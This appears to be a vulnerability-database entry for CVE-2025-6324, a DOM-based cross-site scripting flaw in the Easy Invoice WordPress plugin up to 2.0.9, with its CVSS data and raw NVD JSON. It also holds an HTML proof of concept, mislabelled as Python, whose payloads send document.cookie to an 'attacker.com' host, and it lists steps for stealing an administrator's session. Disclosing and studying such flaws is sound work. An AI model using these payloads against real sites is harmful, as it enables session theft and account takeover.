Security Vulnerability Report
中文
CVE-2025-6324 CVSS 7.1 HIGH

CVE-2025-6324

Published: 2025-12-18 08:16:17
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MatrixAddons Easy Invoice easy-invoice allows DOM-Based XSS.This issue affects Easy Invoice: from n/a through <= 2.0.9.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Easy Invoice <= 2.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-6324 PoC - DOM-Based XSS in WordPress Easy Invoice Plugin --> <!DOCTYPE html> <html> <head> <title>CVE-2025-6324 PoC</title> </head> <body> <h2>CVE-2025-6324 DOM-Based XSS PoC</h2> <p>Target: WordPress Easy Invoice Plugin <= 2.0.9</p> <!-- Simulated vulnerable endpoint --> <form id="vulnForm"> <label>Invoice Number:</label> <input type="text" id="invoiceNum" name="invoice_num" value=""> <button type="button" onclick="generateInvoice()">Generate Invoice</button> </form> <div id="invoicePreview"></div> <script> // Simulating the vulnerable code pattern in Easy Invoice plugin function generateInvoice() { // VULNERABLE: Direct DOM manipulation without sanitization var invoiceNum = document.getElementById('invoiceNum').value; var previewDiv = document.getElementById('invoicePreview'); // This simulates the vulnerable code: directly inserting user input into DOM previewDiv.innerHTML = '<h3>Invoice: ' + invoiceNum + '</h3>'; } // Attack payload to steal cookies var xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)\;">'; // Alternative payload using script tag // var xssPayload = '<script>fetch("https://attacker.com/steal?data="+btoa(document.cookie))</script>'; console.log('PoC Payload:', xssPayload); </script> <p><strong>Attack Steps:</strong></p> <ol> <li>Inject XSS payload into invoice_num parameter</li> <li>Payload: <code>&lt;img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)&gt;</code></li> <li>When admin views the invoice, the malicious code executes</li> <li>Attacker receives stolen session cookies</li> </ol> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6324", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:16.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MatrixAddons Easy Invoice easy-invoice allows DOM-Based XSS.This issue affects Easy Invoice: from n/a through <= 2.0.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-invoice/vulnerability/wordpress-easy-invoice-plugin-2-0-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}